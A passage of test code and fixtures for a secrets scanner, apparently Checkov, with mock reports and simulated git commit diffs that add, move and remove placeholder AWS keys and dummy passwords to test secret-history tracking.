    "content": "import pytest\n\nfrom checkov.common.bridgecrew.check_type import CheckType\nfrom checkov.common.models.enums import CheckResult\nfrom checkov.common.output.report import Report\nfrom checkov.common.output.secrets_record import SecretsRecord\n\n\n@pytest.fixture\ndef mock_bc_integration():\n    from checkov.common.bridgecrew.platform_integration import bc_integration\n    bc_integration.bc_api_key = \"abcd1234-abcd-1234-abcd-1234abcd1234\"\n    bc_integration.skip_download = False\n    return bc_integration\n\n\n@pytest.fixture\ndef mock_metadata_integration():\n    from checkov.common.bridgecrew.integration_features.features.policy_metadata_integration import integration\n\n    check_metadata = integration.check_metadata\n    integration.check_metadata = {\n        \"CKV_SECRET_2\": {\n            \"id\": \"BC_GIT_2\",\n            \"checkovId\": \"CKV_SECRET_2\",\n        },\n        \"CKV_SECRET_6\": {\n            \"id\": \"BC_GIT_6\",\n            \"checkovId\": \"CKV_SECRET_6\",\n        }\n    }\n\n    yield\n\n    integration.check_metadata = check_metadata\n\n\n@pytest.fixture\ndef secrets_report() -> Report:\n    kwargs = {'validation_status': 'mock', 'check_id': 'mock', 'check_name': 'mock', 'code_block': 'mock', 'file_path': 'mock',\n              'file_line_range': 'mock', 'evaluations': 'mock', 'check_class': 'mock', 'file_abs_path': 'mock'}\n    record_1 = SecretsRecord(bc_check_id=\"VIOLATION_1\", resource=\"RESOURCE_1\", check_result={\"result\": CheckResult.FAILED}, **kwargs)\n    record_2 = SecretsRecord(bc_check_id=\"VIOLATION_2\", resource=\"RESOURCE_2\", check_result={\"result\": CheckResult.FAILED}, **kwargs)\n    record_3 = SecretsRecord(bc_check_id=\"VIOLATION_3\", resource=\"RESOURCE_3\", check_result={\"result\": CheckResult.FAILED}, **kwargs)\n    record_4 = SecretsRecord(bc_check_id=\"VIOLATION_4\", resource=\"RESOURCE_4\", check_result={\"result\": CheckResult.FAILED}, **kwargs)\n\n    record_5 = SecretsRecord(bc_check_id=\"VIOLATION_1\", resource=\"RESOURCE_1\", check_result={\"result\": CheckResult.PASSED}, **kwargs)\n\n    report = Report(CheckType.SECRETS)\n    report.add_record(record_1)\n    report.add_record(record_2)\n    report.add_record(record_3)\n    report.add_record(record_4)\n    report.add_record(record_5)\n\n    return report\n\n\n@pytest.fixture\ndef secrets_report_invalid_status() -> Report:\n    kwargs = {'check_id': 'mock', 'check_name': 'mock', 'code_block': 'mock',\n              'file_path': 'mock',\n              'file_line_range': 'mock', 'evaluations': 'mock', 'check_class': 'mock', 'file_abs_path': 'mock'}\n    record_1 = SecretsRecord(bc_check_id=\"VIOLATION_1\", resource=\"RESOURCE_1\",\n                             check_result={\"result\": CheckResult.FAILED}, validation_status='Invalid', **kwargs)\n    record_2 = SecretsRecord(bc_check_id=\"VIOLATION_2\", resource=\"RESOURCE_2\",\n                             check_result={\"result\": CheckResult.FAILED}, validation_status='Invalid', **kwargs)\n    record_3 = SecretsRecord(bc_check_id=\"VIOLATION_3\", resource=\"RESOURCE_3\",\n                             check_result={\"result\": CheckResult.FAILED}, validation_status='Invalid', **kwargs)\n    record_4 = SecretsRecord(bc_check_id=\"VIOLATION_4\", resource=\"RESOURCE_4\",\n                             check_result={\"result\": CheckResult.FAILED}, validation_status='Invalid', **kwargs)\n\n    record_5 = SecretsRecord(bc_check_id=\"VIOLATION_1\", resource=\"RESOURCE_1\",\n                             check_result={\"result\": CheckResult.PASSED}, validation_status='Invalid', **kwargs)\n\n    report = Report(CheckType.SECRETS)\n    report.add_record(record_1)\n    report.add_record(record_2)\n    report.add_record(record_3)\n    report.add_record(record_4)\n    report.add_record(record_5)\n\n    return report\n"
  },
  {
    "path": "tests/secrets/custom_and_entropy/main.tf",
    "content": "resource \"aws_instance\" \"a\" {\n  test_pass = \"z2b7k2cQfzc+yjP2K8cjuQ8uoorHBpEvC+XWhU3Z5+IdrPQYwr991Lj73xfZ+RA2GzC0wTedDTvb1C2NX+3Gpw==\"\n}"
  },
  {
    "path": "tests/secrets/custom_regex_detector/Dockerfile",
    "content": "FROM base:1\nUSER bob\nENV AWS_ACCESS_KEY_ID=\"wJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEY\"\nENV CIRCLE=\"2065ae463be4e434bb/LIR\\366d44e7a776d472\"\nENV SEC_3=\"eyJrIjoiNUwyZU7TMmRxQXNV/HANA/XB0ME4zYkhRaTk2STVhR0MiLCJuIjoidGVtcCIsImlkIjoxfQ==\"\nENV TEST=\"5FP0NmFYz81U32XdjNb42762\"\nENV OUT=\"5FP0NmFYz81U32XdjNb42762eyJrIjoiNUwyZU7TMmRxQXNV/HANA/XB0ME4zYkhRaTk2STVhR0MiLCJuIjoidGVtcCIsImlkIjoxfQ==\""
  },
  {
    "path": "tests/secrets/git_history/__init__.py",
    "content": ""
  },
  {
    "path": "tests/secrets/git_history/test_utils.py",
    "content": "from __future__ import annotations\n\nimport random\nimport string\nfrom typing import Dict, List, Optional, Generator, Any\n\nfrom git import Repo\n\nfrom checkov.secrets.git_types import Commit, CommitMetadata\n\n\ndef mock_set_repo(self) -> bool:\n    self.repo = True\n    return True\n\n\ndef mock_get_first_empty_commit(self, a) -> Commit:\n    return Commit(\n        metadata=CommitMetadata(\n            commit_hash='c9b3268e15eb20fd406b9077a4c45875086d6c1b',\n            committer='🏖first-empty-commiter',\n            committed_datetime='2022-11-14T16:10:21+00:00'),\n        files={\n            '.gitignore': \"--- ''\\n+++ .gitignore\\n@@ -0,0 +0,0 @@\\n\"}\n    )\n\n\ndef mock_get_first_commit(self, a) -> Commit:\n    commit_mock = \\\n        Commit(\n            metadata=CommitMetadata(\n                commit_hash='c9b3268e15eb20fd406b9077a4c45875086d6c1b',\n                committer='🐲dragon of commits🐲',\n                committed_datetime='2022-11-14T16:10:21+00:00'),\n            files={\n                '.gitignore': \"--- ''\\n+++ .gitignore\\n@@ -0,0 +1,50 @@\\n+# These are some examples of commonly ignored file patterns.\\n+# You should customize this list as applicable to your project.\\n+# Learn more about .gitignore:\\n+#     https://www.atlassian.com/git/tutorials/saving-changes/gitignore\\n+\\n+# Node artifact files\\n+node_modules/\\n+dist/\\n+\\n+# Compiled Java class files\\n+*.class\\n+\\n+# Compiled Python bytecode\\n+*.py[cod]\\n+\\n+# Log files\\n+*.log\\n+\\n+# Package files\\n+*.jar\\n+\\n+# Maven\\n+target/\\n+dist/\\n+\\n+# JetBrains IDE\\n+.idea/\\n+\\n+# Unit test reports\\n+TEST*.xml\\n+\\n+# Generated by MacOS\\n+.DS_Store\\n+\\n+# Generated by Windows\\n+Thumbs.db\\n+\\n+# Applications\\n+*.app\\n+*.exe\\n+*.war\\n+\\n+# Large media files\\n+*.mp4\\n+*.tiff\\n+*.avi\\n+*.flv\\n+*.mov\\n+*.wmv\\n+\\n\",\n                'readme_mock-first-commit-mock.txt': \"--- ''\\n+++ readme_mock-first-commit-mock.txt\\n@@ -0,0 +1 @@\\n+('https://developer.atlassian.com/server/jira/platform/oath/#generate-an-rsa-public-private-key-pair')\\n\\\\ No newline at end of file\\n\",\n                'test-multiline-secrets-first-commit-mock.json': '--- \\'\\'\\n+++ test-multiline-secrets-first-commit-mock.json\\n@@ -0,0 +1,18 @@\\n+{\\n+  \"spec\": [\\n+    {\\n+    \"name\": \"TEST_PASSWORD_3\",\\n+    \"value\": \"ABCPtpfIZR+zZGPUWUYvLojqylVeEg63CBYN0FpGJ4yuH+9YxZZe8Uq7drEoTSfL64kElPEnVJk+H7SZr+wBoxN5qDWsbDmmUS2H76h\"\\n+    },\\n+    {\\n+      \"name\": \"SOME_NAME\",\\n+      \"value\": \"some_value\"\\n+    },\\n+    {\\n+      \"value\": \"Zo5Zhexnf9TUggdn+zBKGEkmUUvuKzVN+/fKPaMBA4zVyef4irH5H5YfwoC4IqAX0DNoMD12yIF67nIdIMg13atW4WM33eNMfXlE\",\\n+      \"value1\": \"1Vab3xejyUlh89P6tUJNXgO4t07DzmomF4tPBwTbwt+sjXHg3G0MPMRpH/I2ho4gS5H3AKJkvJZj87V7/Qnp/rHdbMVYK1F0BX35\",\\n+      \"name\": \"TEST_PASSWORD_1\",\\n+      \"name1\": \"TEST_PASSWORD_2\"\\n+    }\\n+  ]\\n+}\\n\\\\ No newline at end of file\\n'\n            }\n        )\n    return commit_mock\n\n\ndef mock_git_repo_commits1(self, last_commit_sha: str) -> List[Commit]:\n    \"\"\"\n        add secret (secret1 added) - +1\n        move the secret to different line - 0\n        modify the secret value (secret1 removed=update + secret2 added) - +1\n        remove the secret (secret2 removed=update) - 0\n        add file with new secret (secret3 added) - +1\n    \"\"\"\n    commits_mock = [\n        Commit(\n            metadata=CommitMetadata(\n                commit_hash='8a21fa691e17907afee57e93b7820c5943b12746',\n                committer='Cherry🍒',\n                committed_datetime='2022-12-14T16:10:21+00:00'),\n            files={\n                'Dockerfile': 'diff --git a/Dockerfile b/Dockerfile\\nindex 0000..0000 0000\\n--- a/Dockerfile\\n+++ b/Dockerfile\\n@@ -4,6 +4,8 @@ FROM public.ecr.aws/lambda/python:3.9\\n \\n ENV PIP_ENV_VERSION=\"2022.1.8\"\\n \\n+ENV AWS_ACCESS_KEY_ID=\"wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY\"\\n+\\n COPY Pipfile Pipfile.lock ./\\n \\n RUN pip install pipenv==${PIP_ENV_VERSION} \\\\\\n'}\n        ),\n        Commit(\n            metadata=CommitMetadata(\n                commit_hash='d3249f33376b94a939b67a638aba4557b071875f',\n                committer='🍒Cherry🍒',\n                committed_datetime='2022-12-14T16:28:47+00:00'),\n            files={\n                'Dockerfile': 'diff --git a/Dockerfile b/Dockerfile\\nindex 0000..0000 0000\\n--- a/Dockerfile\\n+++ b/Dockerfile\\n@@ -1,10 +1,9 @@\\n #checkov:skip=CKV_DOCKER_2:Healthcheck is not relevant for ephemral containers\\n #checkov:skip=CKV_DOCKER_3:User is created automatically by lambda runtime\\n FROM public.ecr.aws/lambda/python:3.9\\n-\\n+ENV AWS_ACCESS_KEY_ID=\"wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY\"\\n ENV PIP_ENV_VERSION=\"2022.1.8\"\\n \\n-ENV AWS_ACCESS_KEY_ID=\"wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY\"\\n \\n COPY Pipfile Pipfile.lock ./\\n \\n'}\n        ),\n        Commit(\n            metadata=CommitMetadata(\n                commit_hash='3d79bba03c6f0ddcfb8334f531701942c4be0f32',\n                committer='Cherry🍒',\n                committed_datetime='2022-12-14T16:32:13+00:00'),\n            files={\n                'Dockerfile': 'diff --git a/Dockerfile b/Dockerfile\\nindex 0000..0000 0000\\n--- a/Dockerfile\\n+++ b/Dockerfile\\n@@ -1,7 +1,7 @@\\n #checkov:skip=CKV_DOCKER_2:Healthcheck is not relevant for ephemral containers\\n #checkov:skip=CKV_DOCKER_3:User is created automatically by lambda runtime\\n FROM public.ecr.aws/lambda/python:3.9\\n-ENV AWS_ACCESS_KEY_ID=\"wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY\"\\n+ENV AWS_ACCESS_KEY_ID=\"AKIAZZZZZZZZZZZZZZZZ\"\\n ENV PIP_ENV_VERSION=\"2022.1.8\"\\n \\n \\n'}\n        ),\n        Commit(\n            metadata=CommitMetadata(\n                commit_hash='7dff3b21fc2563f51655f34f0d3601cdf79d0d5e',\n                committer='🍒Cherry🍒',\n                committed_datetime='2022-12-14T16:54:05+00:00'),\n            files={\n                'Dockerfile': 'diff --git a/Dockerfile b/Dockerfile\\nindex 0000..0000 0000\\n--- a/Dockerfile\\n+++ b/Dockerfile\\n@@ -1,7 +1,7 @@\\n #checkov:skip=CKV_DOCKER_2:Healthcheck is not relevant for ephemral containers\\n #checkov:skip=CKV_DOCKER_3:User is created automatically by lambda runtime\\n FROM public.ecr.aws/lambda/python:3.9\\n-ENV AWS_ACCESS_KEY_ID=\"AKIAZZZZZZZZZZZZZZZZ\"\\n+\\n ENV PIP_ENV_VERSION=\"2022.1.8\"\\n \\n \\n'}\n        ),\n        Commit(\n            metadata=CommitMetadata(\n                commit_hash='6941281550a12659bdbe87c9a537f88124f78fac',\n                committer='🍒Cherry🍒',\n                committed_datetime='2022-12-14T16:57:26+00:00'),\n            files={\n                'main.py': 'diff --git a/None b/main.py\\nindex 0000..0000 0000\\n--- a/None\\n+++ b/main.py\\n@@ -0,0 +1,4 @@\\n+AWS_ACCESS_TOKEN=\"AKIAZZZZZZZZZZZZZZZZ\"\\n+\\n+if __name__ == \"__main__\":\\n+    print(AWS_ACCESS_TOKEN)\\n\\\\ No newline at end of file\\n'}\n        ),\n    ]\n    return commits_mock\n\n\ndef mock_git_repo_commits2(self, last_commit_sha: str) -> List[Commit]:\n    \"\"\"\n        add secret (secret1 added) - +1\n        move the secret to different line - 0\n        remove the secret (secret1 removed=update) - 0\n        add secret (secret1 added - add the same secret - update) - 0\n        move the secret to different line - 0\n    \"\"\"\n\n    commits_mock = [\n        Commit(\n            metadata=CommitMetadata(\n                commit_hash='11e59e4e578c6ebcb48aae1e5e078a54c62920eb',\n                committer='Mango🥭',\n                committed_datetime='2022-12-14T16:10:21+00:00'),\n            files={\n                'folder1/folder2/Dockerfile': 'diff --git a/folder1/folder2/Dockerfile b/folder1/folder2/Dockerfile\\nindex 0000..0000 0000\\n--- a/folder1/folder2/Dockerfile\\n+++ b/folder1/folder2/Dockerfile\\n@@ -5,7 +5,7 @@ FROM public.ecr.aws/lambda/python:3.9\\n \\n ENV PIP_ENV_VERSION=\"2022.1.8\"\\n COPY Pipfile Pipfile.lock ./\\n-\\n+ENV AWS_ACCESS_KEY_ID=\"wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY\"\\n \\n RUN pip install pipenv==${PIP_ENV_VERSION} \\\\\\n  && pipenv lock -r > requirements.txt \\\\\\n'}\n        ),\n        Commit(\n            metadata=CommitMetadata(\n                commit_hash='c7c932ef4d31c487a921d2ce8544a4a468adf6b9',\n                committer='🥭Mango🥭',\n                committed_datetime='2022-12-14T16:28:47+00:00'),\n            files={\n                'folder1/folder2/Dockerfile': 'diff --git a/folder1/folder2/Dockerfile b/folder1/folder2/Dockerfile\\nindex 0000..0000 0000\\n--- a/folder1/folder2/Dockerfile\\n+++ b/folder1/folder2/Dockerfile\\n@@ -2,10 +2,10 @@\\n #checkov:skip=CKV_DOCKER_3:User is created automatically by lambda runtime\\n FROM public.ecr.aws/lambda/python:3.9\\n \\n-\\n+ENV AWS_ACCESS_KEY_ID=\"wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY\"\\n ENV PIP_ENV_VERSION=\"2022.1.8\"\\n COPY Pipfile Pipfile.lock ./\\n-ENV AWS_ACCESS_KEY_ID=\"wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY\"\\n+\\n \\n RUN pip install pipenv==${PIP_ENV_VERSION} \\\\\\n  && pipenv lock -r > requirements.txt \\\\\\n'}\n        ),\n        Commit(\n            metadata=CommitMetadata(\n                commit_hash='4b8321e46217a87e21240afd88cdc0f1a861c0f5',\n                committer='Mango🥭',\n                committed_datetime='2022-12-14T16:32:13+00:00'),\n            files={\n                'folder1/folder2/Dockerfile': 'diff --git a/folder1/folder2/Dockerfile b/folder1/folder2/Dockerfile\\nindex 0000..0000 0000\\n--- a/folder1/folder2/Dockerfile\\n+++ b/folder1/folder2/Dockerfile\\n@@ -2,7 +2,6 @@\\n #checkov:skip=CKV_DOCKER_3:User is created automatically by lambda runtime\\n FROM public.ecr.aws/lambda/python:3.9\\n \\n-ENV AWS_ACCESS_KEY_ID=\"wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY\"\\n ENV PIP_ENV_VERSION=\"2022.1.8\"\\n COPY Pipfile Pipfile.lock ./\\n \\n'}\n        ),\n        Commit(\n            metadata=CommitMetadata(\n                commit_hash='7bb5c69d95b31bc2242bcf08ce25e74e953f9ae9',\n                committer='🥭Mango🥭',\n                committed_datetime='2022-12-14T16:54:05+00:00'),\n            files={\n                'folder1/folder2/Dockerfile': 'diff --git a/folder1/folder2/Dockerfile b/folder1/folder2/Dockerfile\\nindex 0000..0000 0000\\n--- a/folder1/folder2/Dockerfile\\n+++ b/folder1/folder2/Dockerfile\\n@@ -4,7 +4,7 @@ FROM public.ecr.aws/lambda/python:3.9\\n \\n ENV PIP_ENV_VERSION=\"2022.1.8\"\\n COPY Pipfile Pipfile.lock ./\\n-\\n+ENV AWS_ACCESS_KEY_ID=\"wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY\"\\n \\n RUN pip install pipenv==${PIP_ENV_VERSION} \\\\\\n  && pipenv lock -r > requirements.txt \\\\\\n'}\n        ),\n        Commit(\n            metadata=CommitMetadata(\n                commit_hash='2675bffd2662aae7025b7f3bb5fd384cdab355b1',\n                committer='🥭Mango🥭',\n                committed_datetime='2022-12-14T16:57:26+00:00'),\n            files={\n                'folder1/folder2/Dockerfile': 'diff --git a/folder1/folder2/Dockerfile b/folder1/folder2/Dockerfile\\nindex 0000..0000 0000\\n--- a/folder1/folder2/Dockerfile\\n+++ b/folder1/folder2/Dockerfile\\n@@ -1,10 +1,11 @@\\n #checkov:skip=CKV_DOCKER_2:Healthcheck is not relevant for ephemral containers\\n #checkov:skip=CKV_DOCKER_3:User is created automatically by lambda runtime\\n FROM public.ecr.aws/lambda/python:3.9\\n+ENV AWS_ACCESS_KEY_ID=\"wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY\"\\n \\n ENV PIP_ENV_VERSION=\"2022.1.8\"\\n COPY Pipfile Pipfile.lock ./\\n-ENV AWS_ACCESS_KEY_ID=\"wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY\"\\n+\\n \\n RUN pip install pipenv==${PIP_ENV_VERSION} \\\\\\n  && pipenv lock -r > requirements.txt \\\\\\n'}\n        ),\n    ]\n    return commits_mock\n\n\ndef mock_git_repo_commits3(self, last_commit_sha: str) -> List[Commit]:\n    \"\"\"\n            add secret (secret1 added) - +1\n            move the secret to different line - 0\n            add secret equal to secret1 - +1\n            remove one secret (secret1 - update add remove_commit_hash) - 0\n        \"\"\"\n    commits_mock = [\n        Commit(\n            metadata=CommitMetadata(\n                commit_hash='900b1e8f6f336a92e8f5fca3babca764e32c3b3d',\n                committer='baguette🥖',\n                committed_datetime='2022-12-14T16:10:21+00:00'),\n            files={\n                'folder1/folder2/Dockerfile': 'diff --git a/folder1/folder2/Dockerfile b/folder1/folder2/Dockerfile\\nindex 0000..0000 0000\\n--- a/folder1/folder2/Dockerfile\\n+++ b/folder1/folder2/Dockerfile\\n@@ -1,6 +1,7 @@\\n #checkov:skip=CKV_DOCKER_2:Healthcheck is not relevant for ephemral containers\\n #checkov:skip=CKV_DOCKER_3:User is created automatically by lambda runtime\\n FROM public.ecr.aws/lambda/python:3.9\\n+ENV AWS_ACCESS_KEY_ID=\"AKIAZZZZZZZZZZZZZZZZ\"\\n \\n ENV PIP_ENV_VERSION=\"2022.1.8\"\\n COPY Pipfile Pipfile.lock ./\\n'}\n        ),\n        Commit(\n            metadata=CommitMetadata(\n                commit_hash='4229974aec78152c426b40db8b6912ba098f3add',\n                committer='baguette🥖',\n                committed_datetime='2022-12-14T16:28:47+00:00'),\n            files={\n                'folder1/folder2/Dockerfile': 'diff --git a/folder1/folder2/Dockerfile b/folder1/folder2/Dockerfile\\nindex 0000..0000 0000\\n--- a/folder1/folder2/Dockerfile\\n+++ b/folder1/folder2/Dockerfile\\n@@ -1,11 +1,11 @@\\n #checkov:skip=CKV_DOCKER_2:Healthcheck is not relevant for ephemral containers\\n #checkov:skip=CKV_DOCKER_3:User is created automatically by lambda runtime\\n FROM public.ecr.aws/lambda/python:3.9\\n-ENV AWS_ACCESS_KEY_ID=\"AKIAZZZZZZZZZZZZZZZZ\"\\n+\\n \\n ENV PIP_ENV_VERSION=\"2022.1.8\"\\n COPY Pipfile Pipfile.lock ./\\n-\\n+ENV AWS_ACCESS_KEY_ID=\"AKIAZZZZZZZZZZZZZZZZ\"\\n \\n RUN pip install pipenv==${PIP_ENV_VERSION} \\\\\\n  && pipenv lock -r > requirements.txt \\\\\\n'}\n        ),\n        Commit(\n            metadata=CommitMetadata(\n                commit_hash='3c8cb7eedb3986308c96713fc65b006adcf3bc44',\n                committer='baguette🥖',\n                committed_datetime='2022-12-14T16:32:13+00:00'),\n            files={\n                'folder1/folder2/Dockerfile': 'diff --git a/folder1/folder2/Dockerfile b/folder1/folder2/Dockerfile\\nindex 0000..0000 0000\\n--- a/folder1/folder2/Dockerfile\\n+++ b/folder1/folder2/Dockerfile\\n@@ -6,7 +6,7 @@ FROM public.ecr.aws/lambda/python:3.9\\n ENV PIP_ENV_VERSION=\"2022.1.8\"\\n COPY Pipfile Pipfile.lock ./\\n ENV AWS_ACCESS_KEY_ID=\"AKIAZZZZZZZZZZZZZZZZ\"\\n-\\n+ENV AWS_ACCESS_KEY_ID=\"AKIAZZZZZZZZZZZZZZZZ\"\\n RUN pip install pipenv==${PIP_ENV_VERSION} \\\\\\n  && pipenv lock -r > requirements.txt \\\\\\n  && pipenv run pip install -r requirements.txt --target \"${LAMBDA_TASK_ROOT}\" \\\\\\n'}\n        ),\n        Commit(\n            metadata=CommitMetadata(\n                commit_hash='697308e61171e33224757e620aaf67b1a877c99d',\n                committer='baguette🥖',\n                committed_datetime='2022-12-14T16:54:05+00:00'),\n            files={\n                'folder1/folder2/Dockerfile': 'diff --git a/folder1/folder2/Dockerfile b/folder1/folder2/Dockerfile\\nindex 0000..0000 0000\\n--- a/folder1/folder2/Dockerfile\\n+++ b/folder1/folder2/Dockerfile\\n@@ -5,7 +5,7 @@ FROM public.ecr.aws/lambda/python:3.9\\n \\n ENV PIP_ENV_VERSION=\"2022.1.8\"\\n COPY Pipfile Pipfile.lock ./\\n-ENV AWS_ACCESS_KEY_ID=\"AKIAZZZZZZZZZZZZZZZZ\"\\n+\\n ENV AWS_ACCESS_KEY_ID=\"AKIAZZZZZZZZZZZZZZZZ\"\\n RUN pip install pipenv==${PIP_ENV_VERSION} \\\\\\n  && pipenv lock -r > requirements.txt \\\\\\n'}\n        ),\n        Commit(  # this commit should make no difference - its just to have 5 commits returned from this mock\n            metadata=CommitMetadata(\n                commit_hash='697308e61171e332247z2i2bi0aaf67b1a877c99d',\n                committer='baguette🥖',\n                committed_datetime='2022-12-14T16:54:05+00:00'),\n            files={\n                'Dockerfile': 'diff --git a/Dockerfile b/Dockerfile\\nindex 0000..0000 0000\\n--- a/Dockerfile\\n+++ b/Dockerfile\\n@@ -5,7 +5,7 @@ FROM public.ecr.aws/lambda/python:3.9\\n \\n ENV PIP_ENV_VERSION=\"2022.1.8\"\\n COPY Pipfile Pipfile.lock ./\\n-ENV AWS_PIPY=\"something\"\\n+\\n ENV AWS_DIP=\"ELSE\"\\n RUN pip install pipenv==${PIP_ENV_VERSION} \\\\\\n  && pipenv lock -r > requirements.txt \\\\\\n'}\n        ),\n    ]\n    return commits_mock\n\n\ndef mock_git_repo_commits_remove_file(self, last_commit_sha: str) -> List[Commit]:\n    commits_mock = [\n        Commit(\n            metadata=CommitMetadata(\n                commit_hash='63342dbee285973a37770bbb1ff4258a3184901e',\n                committer='Lemon🍋',\n                committed_datetime='2022-12-14T16:10:21+00:00'),\n            files={\n                'Dockerfile': 'diff --git a/Dockerfile b/Dockerfile\\nindex 0000..0000 0000\\n--- a/Dockerfile\\n+++ b/Dockerfile\\n@@ -4,6 +4,7 @@ FROM public.ecr.aws/lambda/python:3.9\\n \\n ENV PIP_ENV_VERSION=\"2022.1.8\"\\n \\n+ENV AWS_ACCESS_KEY_ID=\"wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY\"\\n COPY Pipfile Pipfile.lock ./\\n \\n RUN pip install pipenv==${PIP_ENV_VERSION} \\\\\\n'}\n        ),\n        Commit(\n            metadata=CommitMetadata(\n                commit_hash='bca377900d08d442b1080893e50b8dc8276cfcc0',\n                committer='Lemon🍋',\n                committed_datetime='2022-12-14T16:28:47+00:00'),\n            files={\n                'Dockerfile': 'diff --git a/Dockerfile b/Dockerfile\\nindex 0000..0000 0000\\n--- a/Dockerfile\\n+++ b/Dockerfile\\n@@ -13,6 +13,7 @@ RUN pip install pipenv==${PIP_ENV_VERSION} \\\\\\n  && rm -f requirements.txt Pipfile Pipfile.lock \\\\\\n  && pip uninstall -y pipenv\\n \\n+\\n COPY src/ \"${LAMBDA_TASK_ROOT}/src/\"\\n COPY utilsPython/ \"${LAMBDA_TASK_ROOT}/utilsPython/\"\\n \\n'}\n        ),\n        Commit(\n            metadata=CommitMetadata(\n                commit_hash='4bd08cd0b2874025ce32d0b1e9cd84ca20d59ce1',\n                committer='Lemon🍋',\n                committed_datetime='2022-12-14T16:32:13+00:00'),\n            files={\n                'Dockerfile': 'diff --git a/Dockerfile b/None\\nindex 0000..0000 0000\\n--- a/Dockerfile\\n+++ b/None\\n@@ -1,20 +0,0 @@\\n-#checkov:skip=CKV_DOCKER_2:Healthcheck is not relevant for ephemral containers\\n-#checkov:skip=CKV_DOCKER_3:User is created automatically by lambda runtime\\n-FROM public.ecr.aws/lambda/python:3.9\\n-\\n-ENV PIP_ENV_VERSION=\"2022.1.8\"\\n-\\n-ENV AWS_ACCESS_KEY_ID=\"wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY\"\\n-COPY Pipfile Pipfile.lock ./\\n-\\n-RUN pip install pipenv==${PIP_ENV_VERSION} \\\\\\n- && pipenv lock -r > requirements.txt \\\\\\n- && pipenv run pip install -r requirements.txt --target \"${LAMBDA_TASK_ROOT}\" \\\\\\n- && rm -f requirements.txt Pipfile Pipfile.lock \\\\\\n- && pip uninstall -y pipenv\\n-\\n-\\n-COPY src/ \"${LAMBDA_TASK_ROOT}/src/\"\\n-COPY utilsPython/ \"${LAMBDA_TASK_ROOT}/utilsPython/\"\\n-\\n-CMD [\"src.secrets_setup.image.src.app.handler\"]\\n'}\n        ),\n    ]\n    return commits_mock\n\n\ndef mock_remove_file_with_two_equal_secret(self, last_commit_sha: str) -> List[Commit]:\n    commits_mock = [\n        Commit(\n            metadata=CommitMetadata(\n                commit_hash='d76977ac656abdaa77a7791a11adfb96efb48a35',\n                committer='🍕🍕pizza',\n                committed_datetime='2022-12-14T16:10:21+00:00'),\n            files={\n                'test3.py': 'diff --git a/test3.py b/test3.py\\nindex 0000..0000 0000\\n--- a/test3.py\\n+++ b/test3.py\\n@@ -1,4 +1,4 @@\\n-\\n+AWS_ACCESS_KEY_ID=\"AKIAZZZZZZZZZZZZZZZZ\"\\n \\n if __name__ == \\'__main__\\':\\n     print(\\'test\\')\\n'}\n        ),\n        Commit(\n            metadata=CommitMetadata(\n                commit_hash='c211bfc4ae4514627f104ce0bf664dd9521d9c16',\n                committer='🍕🍕pizza',\n                committed_datetime='2022-12-14T16:28:47+00:00'),\n            files={\n                'test3.py': 'diff --git a/test3.py b/test3.py\\nindex 0000..0000 0000\\n--- a/test3.py\\n+++ b/test3.py\\n@@ -1,4 +1,5 @@\\n AWS_ACCESS_KEY_ID=\"AKIAZZZZZZZZZZZZZZZZ\"\\n \\n if __name__ == \\'__main__\\':\\n+    AWS_ACCESS_KEY_ID = \"AKIAZZZZZZZZZZZZZZZZ\"\\n     print(\\'test\\')\\n'}\n        ),\n        Commit(\n            metadata=CommitMetadata(\n                commit_hash='8d96e18c1c924ba396211bf2d4fdd8d2418b8420',\n                committer='🍕🍕pizza',\n                committed_datetime='2022-12-14T16:32:13+00:00'),\n            files={\n                'test3.py': 'diff --git a/test3.py b/None\\nindex 0000..0000 0000\\n--- a/test3.py\\n+++ b/None\\n@@ -1,5 +0,0 @@\\n-AWS_ACCESS_KEY_ID=\"AKIAZZZZZZZZZZZZZZZZ\"\\n-\\n-if __name__ == \\'__main__\\':\\n-    AWS_ACCESS_KEY_ID = \"AKIAZZZZZZZZZZZZZZZZ\"\\n-    print(\\'test\\')\\n'}\n        ),\n    ]\n    return commits_mock\n\n\ndef mock_remove_file_with_two_secret(self, last_commit_sha: str) -> List[Commit]:\n    commits_mock = [\n        Commit(\n            metadata=CommitMetadata(\n                commit_hash='f0d117c1d65e90d4d6d7a1b6aaf4e23f4fd33b82',\n                committer='🍻2secrets',\n                committed_datetime='2022-12-14T16:10:21+00:00'),\n            files={\n                'main.py': 'diff --git a/main.py b/main.py\\nindex 0000..0000 0000\\n--- a/main.py\\n+++ b/main.py\\n@@ -1,3 +1,4 @@\\n+AWS_ACCESS_KEY_ID=\"wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY\"\\n \\n if __name__ == \\'__main__\\':\\n \\n'}\n        ),\n        Commit(\n            metadata=CommitMetadata(\n                commit_hash='1166ee830a03f6721fb8cba794496ee82895a0ba',\n                committer='🍻2secrets',\n                committed_datetime='2022-12-14T16:28:47+00:00'),\n            files={\n                'main.py': 'diff --git a/main.py b/main.py\\nindex 0000..0000 0000\\n--- a/main.py\\n+++ b/main.py\\n@@ -1,5 +1,5 @@\\n AWS_ACCESS_KEY_ID=\"wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY\"\\n \\n if __name__ == \\'__main__\\':\\n-\\n+    TEST_PASSWORD_1 = \"Zo5Zhexnf9TUggdn+zBKGEkmUUvuKzVN+/fKPaMBA4zVyef4irH5H5YfwoC4IqAX0DNoMD12yIF67nIdIMg13atW4WM33eNMfXlE\"\\n     print(\\'test\\')\\n'}\n        ),\n        Commit(\n            metadata=CommitMetadata(\n                commit_hash='bdb3678fc44702132fa7d661a1c425e65c1e9dde',\n                committer='🍻2secrets',\n                committed_datetime='2022-12-14T16:32:13+00:00'),\n            